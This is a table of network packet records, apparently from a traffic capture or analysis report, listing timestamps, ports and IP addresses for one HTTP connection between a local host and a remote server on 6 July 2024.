Jul 6, 2024 14:10:04.595107079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595304966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595344067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595347881 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595352888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595377922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595379114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595379114 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595408916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595474958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595511913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595511913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595545053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595614910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595623970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595657110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595671892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595704079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595721960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595753908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.595963001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.595992088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596004963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596012115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596019983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596021891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596040010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596054077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596345901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596388102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596388102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596396923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596405983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596421957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596430063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596462011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596470118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596499920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596499920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596533060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596541882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596564054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596581936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596729994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596739054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596748114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596755981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596780062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596790075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.596944094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596955061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.596990108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597059011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597090960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597112894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597121954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597141981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597155094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597217083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597224951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597258091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597268105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597367048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597390890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597409010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597430944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597486019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597493887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597516060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597527027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597558022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597589970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597596884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597624063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597697973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597706079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597738981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597836971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597879887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.597879887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.597907066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.598087072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.598095894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.598133087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.598203897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.598237038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.598269939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.598300934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.811333895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811351061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811361074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811412096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.811445951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.811817884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811830997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811841011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811850071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811858892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811861992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.811867952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.811891079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.811914921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.812376022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.812385082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.812393904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.812402010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.812423944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.812437057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.812505960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.812515974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.812525034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.812537909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.812560081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.812694073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.812735081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.848611116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848623037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848630905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848639965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848648071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848655939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848665953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848674059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848683119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848691940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848694086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.848714113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.848725080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.848761082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878406048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878416061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878423929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878433943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878442049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878449917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878458977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878465891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878474951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878484011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878493071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878500938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878509045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878516912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878525972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878534079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878542900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878551006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878560066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878567934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878575087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878583908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878591061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878591061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878598928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878607035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878614902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878623009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878632069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878633976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878639936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878648996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878654957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878657103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878664970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878667116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878673077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878686905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878688097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878695011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878703117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878710032 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878712893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878715992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878720999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878730059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878731966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878739119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878746033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878753901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878762960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878767967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878770113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878777981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878787041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878793001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878796101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878802061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878802061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878812075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878818989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878827095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878827095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878837109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878838062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878844976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:04.878853083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:04.878876925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000060081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000071049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000080109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000088930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000127077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000159025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000303984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000313044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000322104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000338078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000364065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000492096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000500917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000510931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000526905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000545025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000775099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000783920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000792027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000814915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000837088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.000941038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.000986099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001020908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001029968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001051903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001063108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001224041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001247883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001255989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001267910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001276970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001297951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001445055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001475096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001477003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001485109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001506090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001517057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001580000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001622915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001681089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001718044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.001812935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001821041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.001854897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002011061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002048969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002072096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002082109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002105951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002135038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002227068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002235889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002243996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002264023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002296925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002454042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002490997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002527952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002537966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002561092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002569914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002728939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002739906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002774000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002887964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002897024 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002906084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.002945900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.002955914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003081083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003124952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003168106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003177881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003212929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003407001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003416061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003424883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003467083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003535032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003568888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003628969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003637075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003673077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003688097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003720999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003748894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003758907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.003776073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003791094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.003966093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004005909 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004048109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004057884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004082918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004316092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004324913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004334927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004359007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004360914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004373074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004381895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004390001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004409075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004640102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004662037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004669905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004674911 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004688978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004697084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004755974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004764080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004787922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004797935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.004976988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004987001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.004995108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.005008936 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.005018950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.005039930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.005177021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.005184889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.005214930 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.005274057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.005305052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.005333900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.005367041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196093082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196105957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196171999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196316004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196358919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:05.196362019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196372032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:05.196384907 CEST	80	49732	211.108.60.155	192.168.2.4
